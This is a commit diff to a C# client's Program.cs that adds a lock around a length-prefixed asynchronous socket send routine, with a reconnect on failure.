Update Program.cs

This commit is contained in:
NYAN CAT 2019-01-27 09:04:31 -08:00
parent 45f086ed07
commit 247b310434

View File

@ -232,24 +232,27 @@ namespace Client
public static void BeginSend(byte[] Msgs) public static void BeginSend(byte[] Msgs)
{ {
if (Client.Connected) lock (Client)
{ {
try if (Client.Connected)
{ {
using (MemoryStream MS = new MemoryStream()) try
{ {
byte[] buffer = Msgs; using (MemoryStream MS = new MemoryStream())
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0)); {
MS.Write(buffersize, 0, buffersize.Length); byte[] buffer = Msgs;
MS.Write(buffer, 0, buffer.Length); byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0));
MS.Write(buffersize, 0, buffersize.Length);
MS.Write(buffer, 0, buffer.Length);
Client.Poll(-1, SelectMode.SelectWrite); Client.Poll(-1, SelectMode.SelectWrite);
Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null); Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null);
}
}
catch
{
Reconnect();
} }
}
catch
{
Reconnect();
} }
} }
} }